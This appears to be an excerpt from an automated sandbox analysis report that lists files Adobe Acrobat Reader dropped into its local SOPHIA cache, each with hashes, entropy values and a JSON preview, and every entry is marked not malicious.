SHA-512:	3AC28FC1EE2A86AC4BD2A526D4BBE6069A8287A301C200FEADF0C1C0A3017FBA0FBA67EE520AD1FF4236FE164EAB2EF9DAB335AEF9CCCD28211D3D6FDA3993FF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a6d37a1-a2a2-41f0-9597-0ae04e22f7f2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732216723506,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.260839402478619
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhBVE90LvB3/dVlPIHAR0YMDoAvJfBoTfXpnrPeUkwRe9:YvXKXhXs0LvR/ZwHAQsGWTfXcUkee9
MD5:	ECBE4E2675D402BDBCA103A517532889
SHA1:	032A73E00468B0651CE9467DB54357F2D01BD025
SHA-256:	5BA51C4A807D9C746F129F532484E0DA8BB681E6650FBC852F933A278D7B0AFD
SHA-512:	8636546CD7CE79940319F634BD81733E9BF18AD38D85476BC2BBF761FF9CE16D1E8473653FC0CF97220FBA7881FA463C8C79FE25C6EE7A9FCCE500FEB03D31A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a6d37a1-a2a2-41f0-9597-0ae04e22f7f2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732216723506,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.240325971616021
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhBVE90LvB3/dVlPIHAR0YMDoAvJfBD2G6UpnrPeUkwRe9:YvXKXhXs0LvR/ZwHAQsGR22cUkee9
MD5:	BA9CB8887061C109BA1764D8C5E2C77F
SHA1:	AE964AB08705A13A508FC2BD6A3E80335B954FA0
SHA-256:	6F3210E3E719D82C35CCD52530424E8CA228A5419AFF249AB37693E3B460244D
SHA-512:	A5F705523672EABFE2796DDEFE4AADF4F81BD1D09105C88DAFA8E19179638B6438029B42567BF68E66F305F75DB70265155DF993F7B5CCA7D388AA8CC8643FF8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a6d37a1-a2a2-41f0-9597-0ae04e22f7f2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732216723506,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.302462931443931
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhBVE90LvB3/dVlPIHAR0YMDoAvJfPmwrPeUkwRe9:YvXKXhXs0LvR/ZwHAQsGH56Ukee9
MD5:	B31E48CB67FEA7283819E75E2B19911F
SHA1:	8399282BEB2D9BD73C831E8CC233669D1947F967
SHA-256:	FE7098802147C2B3AF4A2C5EB239C6032732BB4353587964FD2CE5950C418E3F
SHA-512:	F9033F7E34A7723D39278F4A31FCD7E8C16C5EEF17818FCBF62955A7B12C46459D0E25863D7523E84443B3EE41A0916895A9F287B674DB6FDD8ECBA0D804ECC8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a6d37a1-a2a2-41f0-9597-0ae04e22f7f2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732216723506,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688738381019211
Encrypted:	false
SSDEEP:	24:Yv6XhDJhcpLgE9cQx8LennAvzBvkn0RCmK8czOCCSf:YvADJhchgy6SAFv5Ah8cv/f
MD5:	1E52FD06C57B0DE8AD2CF4BC79167D9A
SHA1:	7E41D3E85B0CDB1FFE5C73848872773066B2E560
SHA-256:	784557782935BC6BBEA4D412F43EEED625301E5D1439D8951121F7CC749C9953
SHA-512:	053202ADD25437C09B3CDB9048BF105A1E4A4C32899CF6D8C94D03A2E561754A680CBD35A18B91C19293EAAFEBC8D85CD12DE58E29CBE453BA8DF2FC2836066D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a6d37a1-a2a2-41f0-9597-0ae04e22f7f2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732216723506,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1122
Entropy (8bit):	5.679771157162357
Encrypted:	false
SSDEEP:	24:Yv6XhDJhWVLgEwcp06ybnAvz7xHn0RCmK8czOCYHfl8zdBu:YvADJhWFgSNycJUAh8cvYHV
MD5:	6A0F4D3EB515CEACD65A373CC9DFAEDB
SHA1:	3ECEEFE164514FF4AC7E06442C180793E3E82081
SHA-256:	AAEB833299CED3DC7B8C2B97B00584B2F1C9415054419FC998DDAFCF4D0224CC
SHA-512:	F4888A401E779DC3BF73ACA59A00C3CE0A44445C7A9AADAA8A6972F67765075A9EA8643C0EA7B7444397579F18E0AF0961A81E541B2026C8F3330966B90A9F4C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a6d37a1-a2a2-41f0-9597-0ae04e22f7f2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732216723506,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Disc_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93181_288855ActionBlock_0","campaignId":93181,"containerId":"1","controlGroupId":"","treatmentId":"1aad653c-ef44-43f7-be1c-3a2ba2cf2cfc","variationId":"288855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Disc_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkNvbnZlcnQsIGVkaXQgYW5kIGUtc2lnblxuIFBERiBmb3JtcyAmIGFncmVlbWVudHMuIn0sInRjY

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.250641722126739
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhBVE90LvB3/dVlPIHAR0YMDoAvJfQ1rPeUkwRe9:YvXKXhXs0LvR/ZwHAQsGY16Ukee9
MD5:	A22564FD0E74DFC8676A4755AD8FBF37
SHA1:	768CBB1282D600616909895DF10F52C3BF62078C
SHA-256:	FFBED45E9F408BFEF9877138AD24B3F0CDEF5A986199628FBF627F5A89A619B6
SHA-512:	EE34E187C79C49D807A05FE25632C3C9E483BFD24D87CD4E8CFFE89B26AD569577CF3423A9B1F910B9CE5CED525AF0FC7882F0AEFD102916C577B7BD791E5AC1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a6d37a1-a2a2-41f0-9597-0ae04e22f7f2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732216723506,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1102
Entropy (8bit):	5.671511853838704
Encrypted:	false
SSDEEP:	24:Yv6XhDJhD2LgErcXWl7y0nAvzIBcSJCBViVu:YvADJhDogH47yfkB5kVf
MD5:	C1BC66D939DA63524469495C4E9FDD54
SHA1:	78F2554BE4E4D62205CB04296EACF4136161E3A9
SHA-256:	AD42339A4133C65E5BE85E18ADF2148E116DB7C074254F2A3B900530F75391E5
SHA-512:	9AFC4070AC0326FC481908D41B5E650B648C7EB99B918C36D6A5B83080F78D2F00118E2B145D0BBC45A0185391ADAD45C607ACA72502BF973CFBB37482913F67
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a6d37a1-a2a2-41f0-9597-0ae04e22f7f2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732216723506,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Edit_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93181_288855ActionBlock_1","campaignId":93181,"containerId":"1","controlGroupId":"","treatmentId":"533ab5eb-b236-4889-89a5-ac002261d71e","variationId":"288855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Edit_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkVkaXRQREZSZHJBcHBGdWxsIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTRweCIsImZvbnRfc3R5bGUiOiIwIn0sImRlc2NyaXB0aW9uX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTJweCIsImZvbnRfc3R5bGUiOiItMSJ9LCJ0aXRsZSI6bnVsbCwiZGVzY3JpcHRpb24iOiJFZGl0IHRleHQsIGltYWdlcywgcGFnZXMsIGFuZCBtb3JlLiJ9LCJ0Y2F0SWQiOm51bGx9","da

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1164
Entropy (8bit):	5.696641269571047
Encrypted:	false
SSDEEP:	24:Yv6XhDJhPKLgEfIcZVSkpsn264rS514ZjBrwloJTmcVIsrSK5u:YvADJhPEgqprtrS5OZjSlwTmAfSKU
MD5:	F58918687809C053F35FC737A1295855
SHA1:	CFB9EB41B4E05DD069CD427F7BB4FC99A2A2144E
SHA-256:	F173885E028A007E55E90A27D0BDF16D66111B09CCD62BC25BB188B72089EED5
SHA-512:	7EAE8C775A284A2FE12880A340E45D0BCE27A200645D9123D93B056A1C811C4C5349001813DBDA7B0DA81872636CD3415439598A41EBD050EE59831606B7B60A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a6d37a1-a2a2-41f0-9597-0ae04e22f7f2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732216723506,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85531_264848ActionBlock_0","campaignId":85531,"containerId":"1","controlGroupId":"","treatmentId":"ee1a7497-76e7-43c2-bb63-9a0551e11d73","variationId":"264848"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IlRyeSBBY3JvYmF0IFBybyJ9LCJ1aSI6eyJ0aXRsZV9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjE1cHgiLCJmb250X3N0eWxlIjoiMCJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEzcHgiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0b1xucHJlbWl1bSBQREYgYW5kIGUtc2lnbmluZ1xudG9vbHMuIn0sImJhbm5lcl9zdHlsaW5nIjo

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.258711012467305
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhBVE90LvB3/dVlPIHAR0YMDoAvJfYdPeUkwRe9:YvXKXhXs0LvR/ZwHAQsGg8Ukee9
MD5:	1FBEDD6DAEE9879E40E9D3CFF7CA7532
SHA1:	92357C2247024683BEC696BE584BB157ABA1D000
SHA-256:	83CADE43B14C07030EDE7EDDB77868B3F7A759F26DCD41B729B53BCC2A7817C8
SHA-512:	94C31206934517B6113DDE4A89A40D44CED1D245641628E4DF076FC98FD550ADF7957B068F543489EBD8D47070E9A2CA58D9BFB0C58B34C9BECD5D6071A3C130
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a6d37a1-a2a2-41f0-9597-0ae04e22f7f2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732216723506,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.24433345742323
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhBVE90LvB3/dVlPIHAR0YMDoAvJf+dPeUkwRe9:YvXKXhXs0LvR/ZwHAQsG28Ukee9
MD5:	18D70A30E5A166D1CDB67620CDA5764D
SHA1:	C72EC5F96272D3710E26510C05F865AD9A7310EF
SHA-256:	B37561ADC3163C3EFE8025B1570337C6E28A6FF007B95FD73A509A797BD1FE94
SHA-512:	DE4AE89EDAD246D7E840C8C00EF3E2FD72EA0D221C6F9814E78239265AE4DACA3982C0D51BF22948CAE00426763F31B1ED7816658DEC1FEAD941D5BACCE25A5B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a6d37a1-a2a2-41f0-9597-0ae04e22f7f2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732216723506,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.242541883251358
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhBVE90LvB3/dVlPIHAR0YMDoAvJfbPtdPeUkwRe9:YvXKXhXs0LvR/ZwHAQsGDV8Ukee9
MD5:	5E92FC2390590F251C19ADD8354658ED
SHA1:	40FD7ECCDA384E30216F6276157A7C759CFC6B7F
SHA-256:	417FF160F5BD895C49A17F2323BC1F9B3B4537DBC0BE50D91B745B068C0197D7
SHA-512:	265129621645A8132AA124F51A724829F94CD08A5AFF2319A08C6970391BBE38D1B2F9E4F47C2E20512F25FF90CDDEFA1B5089409CE44221E47273734F0A98BD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a6d37a1-a2a2-41f0-9597-0ae04e22f7f2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732216723506,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.241853299333355
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhBVE90LvB3/dVlPIHAR0YMDoAvJf21rPeUkwRe9:YvXKXhXs0LvR/ZwHAQsG+16Ukee9
MD5:	2225CE5C4E7A88F2DB7CF69479C79B97
SHA1:	BB50DD8BA1424D150215826EB22BD7C6C2E1EBF7
SHA-256:	180BF34947748E4845A156369E78A860F06FD1C66010277E4FD8CBBD1D056F5B
SHA-512:	7F97E5170FB264FDDA3D7036AA16CED7760900D7BEC5D20770016F4D8A89D90B2A1394FF253BEC2161173BB049371349D161F37D9BB65B7B5DE70F1345BA23B4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a6d37a1-a2a2-41f0-9597-0ae04e22f7f2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732216723506,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660505712237852
Encrypted:	false
SSDEEP:	24:Yv6XhDJhoamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSf:YvADJhuBgkDMUJUAh8cvMf
MD5:	09109295564A4D746C9F528833284503
SHA1:	BEF27B06B77D43CF0725910DE21F427D846AC69E
SHA-256:	8A85BA39BCE27AC1F7096531395806AEA392FDC2EBC8C72391695AAF56A56154
SHA-512:	3DDBAF8B2C791E5CC687FB9DC6AE85603AE4F04605E3F1AC4C61194C067BF131DC69DDE29C726FEDD7602C52FB21201E8F43A4F0FA691E45048970DC2102BAC3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a6d37a1-a2a2-41f0-9597-0ae04e22f7f2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732216723506,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.216489693943111
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhBVE90LvB3/dVlPIHAR0YMDoAvJfshHHrPeUkwRe9:YvXKXhXs0LvR/ZwHAQsGUUUkee9
MD5:	A55942B7C278BA0E3EBC358AC89BD252
SHA1:	CC5C06D57AC3E7544FCCA5A22AD27717C74DAAF7
SHA-256:	3EC426430FA2BF0979A40A38299DCA4860C2BC90BBBD89FCDA1B0615FC35A3F6
SHA-512:	94F410CBF1D10F0E611CA04A4279CBF19C074A0668005E40B01B76DF81E468F491B30A11240EC5F856DBCDCE26F75052B997518B8DA667CF42B9ACB7D5A54922
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a6d37a1-a2a2-41f0-9597-0ae04e22f7f2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732216723506,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.358798855203602
Encrypted:	false
SSDEEP:	12:YvXKXhXs0LvR/ZwHAQsGTq16Ukee1+3CEJ1KXd15kcyKMQo7P70c0WM6ZB/uhWd:Yv6XhDJh3168CgEXX5kcIfANhI
MD5:	99BA2C9083835BF7B7CD3A175C4B45AE
SHA1:	59257B526B574449D95685159113FC64DB997441
SHA-256:	B21DF4D57D2E6C9D294B17FF32DCB184AE78FA92DB545CCFE9667C9410931CDD
SHA-512:	22453484E25B8F086319D6758AF50D80D1DE92B31A04B7F16F92A7B3362A944C0C895082EBED693015A7F3E94AF092A0DAC0156D977D905CE6F9C9AA91E06736
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a6d37a1-a2a2-41f0-9597-0ae04e22f7f2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732216723506,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"Edit_InApp_Aug2020"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"20360_57769ActionBlock_0","campaignId":20360,"containerId":"1","controlGroupId":"","treatmentId":"3c07988a-9c54-409d-9d06-53885c9f21ec","variationId":"57769"},"containerId":1,"containerLabel":"JSON for switching in-app test","content":{"data":"eyJ1cHNlbGxleHBlcmltZW50Ijp7InRlc3RpZCI6IjEiLCJjb2hvcnQiOiJicm93c2VyIn19","dataType":"application\/json","encodingScheme":true},"endDTS":1735804679000,"startDTS":1732036753537}}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2817
Entropy (8bit):	5.136911006937745
Encrypted:	false
SSDEEP:	24:YuvsBX1kKaIjfayToDRxnC696LKzAKfY5Qybjlj0StQud2Ew2LS/CCTOIHW57VUd:YIyUXndoKz1fCp6W7wxxOBh+9n
MD5:	2B8CA0F5DD87A9ABE240B1C6936C8C24
SHA1:	5F8CC6AE29B099266FDE29BD4CA3E00538B68EDE
SHA-256:	52D3765F8B02CBB73217D7DC9BDA86417CBE1AC62E9DBF6A5DA193B888A019C3
SHA-512:	F037F328ADE514CE7209A62D0F35E82C5282327E3A78B40F98146D121AD691F3834393E4E1361AACBCCEA56FA878DA4492E7B0E03B5A90F8DDD34B9CB6F3C404
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"cc6d30c83a7ad84752a5af3ab6cd2ab1","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1122,"ts":1732036752000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"e9d2a03438f97e02375073190ddd7dc3","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1164,"ts":1732036752000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"8b1bc5f0e307def17b78a567bd683da4","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1732036752000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"44b656120131be4804af8a0260a975ab","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1732036752000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"93b36667536dc4c59885c845209117b0","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":1102,"ts":1732036752000},{"id":"Edit_InApp_Aug2020","info":{"dg":"176ded92bc5436d139f502abf17e51b8","sid":"Edit_InApp_Aug2020"},"mimeType":"file","size":782,"ts":17

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3195984856561709
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeOwYNtqC:TGufl2GL7ms9WR1CPmPbPahOVypilIAt
MD5:	62445AA55124F7C07B0860B40E2E54A0
SHA1:	7DFA85BC24785A15AB6E3B6586B97D16D3552E00
SHA-256:	F9EF2BBD9416D9781121C145F7AF3C790B53F8FE16C02393800D82C3452ED9CD
SHA-512:	36C370E3E45E2F11AFF5466DB6A7D8EACCAE83602CF183BD20A03DE1C05E241371273BDB190CCD691DA019BBEA9EA5E5F6EC7E99EF14572D52AF82238F471FCA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

